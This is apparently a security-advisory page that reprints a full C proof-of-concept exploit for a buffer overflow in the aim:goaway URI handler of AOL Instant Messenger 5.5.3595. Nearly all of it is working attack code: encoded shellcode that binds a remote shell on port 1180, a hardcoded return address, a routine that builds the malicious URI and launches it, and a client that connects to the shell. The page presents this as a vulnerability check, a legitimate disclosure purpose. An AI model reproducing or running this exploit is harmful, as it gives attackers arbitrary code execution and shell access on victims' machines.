SecuriTeam - AIM aim:goaway URI Handler Buffer Overflow Exploit

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

As we reported in our previous article: AOL Instant Messenger aim:goaway URI Handler Buffer Overflow, a remote exploitation of a buffer overflow vulnerability in America Online Inc.'s Instant Messenger (AIM) can allow attackers to execute arbitrary code.

The following exploit code can be used to determine whether your AIM is vulnerable to attack or not.

Credit:
The information has been provided by mandragore.

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Vulnerable Systems:
* AIM version 5.5.3595

Exploit:
/*

subject: local PoC exploit for AIM 5.5.3595

vendor: http://www.aim.com
cve: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0636
credits: Matt Murphy
date: 10 August 2004

notes: exploits localy if an argument is supplied, otherwise prints the url.
            offsets are based on exe/dll provided in the package, so it should be NT universal.
            shellcode makes a bindshell on port 1180.

greets: roSec - Romanian Security Research - www rosec info

author: mandragore

*/

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32.lib")

#define GPA 0x004040a4
#define LLA 0x00404088

#define fatal(x) { perror(x); exit(1); }

unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,
0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,
0xDA,0xFE,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,
0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,
0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,0x89,0x21,0xC8,0x21,0x0E,
0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDE,0x8A,0x8D,
0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,
0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,
0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,
0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,
0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,
0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,
0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char *uri="aim:goaway?message=";

unsigned char smalljmp[]={ 0xeb, 0x08 };

void client2serv(unsigned int s) {
char buff[4096];

for (;;) {
  fgets(buff,4096,stdin);
  send(s,buff,strlen(buff),0);
}
}

void sh() {
int ret;
long s;
WSADATA wsa;
struct sockaddr_in sin;
char buff[4096];
fd_set fds;
long host=0x0100007f;

WSAStartup(0x202,&wsa);

sin.sin_family=2;
sin.sin_port=htons(1180);
sin.sin_addr = *(struct in_addr *)&host;

s=socket(2,1,6);
if ( ret=connect(s,(struct sockaddr *)&sin,16) != 0) {
  fatal("[-] damn.. it looks like it failed\n");
} else
  printf("[+] connected.\n\n");

CreateThread(0,0,(void *)client2serv,(long *)s,0,0);

for (;;) {
  FD_ZERO(&fds);
  FD_SET(s,&fds);

        if (select(s+1, &fds, NULL, NULL, NULL) < 0)
   fatal("[-] shell.select()");

  if (FD_ISSET(s,&fds)) {
   if ( (ret = recv(s,buff,4096,0)) < 1 )
    fatal("[-] shell.recv()");
   memset(buff+ret,0,1);
   printf("%s",buff);
  }
}

}

void fixsh() {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1a,&gpa,4);
memcpy(bsh+0x2b,&lla,4);
}

int main(int argc, char **argv) {
char *t;
int retaddr=0x10015599; // call ebx from rtvideo.dll, should be stable

fixsh();

t=GlobalAlloc(0x40,2000);
memset(t,0x41,1500);
strncpy(t,uri,strlen(uri));
memcpy(t+1037-4,&smalljmp,2);
memcpy(t+1037,&retaddr,4);
memcpy(t+1037+4+4,&bsh,sizeof(bsh));

if (argc==1) {
  printf("%s\n",t);
  return 0;
}

printf("[+] sending request..\n");

ShellExecute(0,"open",t,0,0,SW_SHOW);

printf("[%%] let's sleep 5secs..\n");

Sleep(5000);

sh();

return 0;
}

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